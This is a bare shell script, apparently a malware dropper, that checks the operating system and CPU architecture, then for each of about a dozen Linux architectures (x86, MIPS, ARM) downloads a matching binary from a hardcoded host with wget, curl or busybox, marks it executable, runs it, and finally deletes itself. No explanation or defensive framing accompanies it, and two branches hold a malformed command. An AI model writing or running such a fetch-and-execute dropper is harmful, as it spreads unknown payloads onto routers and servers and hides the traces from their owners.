#!/bin/sh
address="192.168.1.1:808"
os=`uname -s`
arch=`uname -m`
if [ $os = "Linux" ]; then
       case $arch in
       "i"*"86")
       rm -f linux_386;wget -t 1 http://$address/linux_386||curl --connect-timeout 10 http://$address/linux_386||busybox wget http://$address/linux_386;chmod +x linux_386;./linux_386||rm -f linux_386
       ;;
       "x86_64")
       linux_amd64;wget -t 1 http://$address/linux_amd64||curl --connect-timeout 10 http://$address/linux_amd64||busybox wget http://$address/linux_amd64;chmod +x linux_amd64;./linux_amd64||rm -f linux_amd64
       ;;
       "amd64")
       linux_amd64;wget -t 1 http://$address/linux_amd64||curl --connect-timeout 10 http://$address/linux_amd64||busybox wget http://$address/linux_amd64;chmod +x linux_amd64;./linux_amd64||rm -f linux_amd64
       ;;
       "mips")
       rm -f linux_mips;wget -t 1 http://$address/linux_mips||curl --connect-timeout 10 http://$address/linux_mips||busybox wget http://$address/linux_mips;chmod +x linux_mips;./linux_mips||rm -f linux_mips
       rm -f linux_mipsel;wget -t 1 http://$address/linux_mipsel||curl --connect-timeout 10 http://$address/linux_mipsel||busybox wget http://$address/linux_mipsel;chmod +x linux_mipsel;./linux_mipsel||rm -f linux_mipsel
       ;;
       "mips64")
       rm -f linux_mips64;wget -t 1 http://$address/linux_mips64||curl --connect-timeout 10 http://$address/linux_mips64||busybox wget http://$address/linux_mips64;chmod +x linux_mips64;./linux_mips64||rm -f linux_mips64
       rm -f linux_mips64el;wget -t 1 http://$address/linux_mips64el||curl --connect-timeout 10 http://$address/linux_mips64el||busybox wget http://$address/linux_mips64el;chmod +x linux_mips64el;./linux_mips64el||rm -f linux_mips64el
        ;;
       "armv5"*)
        rm -f linux_arm5;wget -t 1 http://$address/linux_arm5||curl --connect-timeout 10 http://$address/linux_arm5||busybox wget http://$address/linux_arm5;chmod +x linux_arm5;./linux_arm5||rm -f linux_arm5
        ;;
       "armv6"*)
        rm -f linux_arm6;wget -t 1 http://$address/linux_arm6||curl --connect-timeout 10 http://$address/linux_arm6||busybox wget http://$address/linux_arm6;chmod +x linux_arm6;./linux_arm6||rm -f linux_arm6
        ;;
       "armv7"*)
        rm -f linux_arm7;wget -t 1 http://$address/linux_arm7||curl --connect-timeout 10 http://$address/linux_arm7||busybox wget http://$address/linux_arm7;chmod +x linux_arm7;./linux_arm7||rm -f linux_arm7
        ;;
       "armv8"*)
       rm -f linux_aarch64;wget -t 1 http://$address/linux_aarch64||curl --connect-timeout 10 http://$address/linux_aarch64||busybox wget http://$address/linux_aarch64;chmod +x linux_aarch64;./linux_aarch64||rm -f linux_aarch64
       ;;
       "aarch64")
        rm -f linux_aarch64;wget -t 1 http://$address/linux_aarch64||curl --connect-timeout 10 http://$address/linux_aarch64||busybox wget http://$address/linux_aarch64;chmod +x linux_aarch64;./linux_aarch64||rm -f linux_aarch64
       ;;   
       esac
fi
/bin/rm $0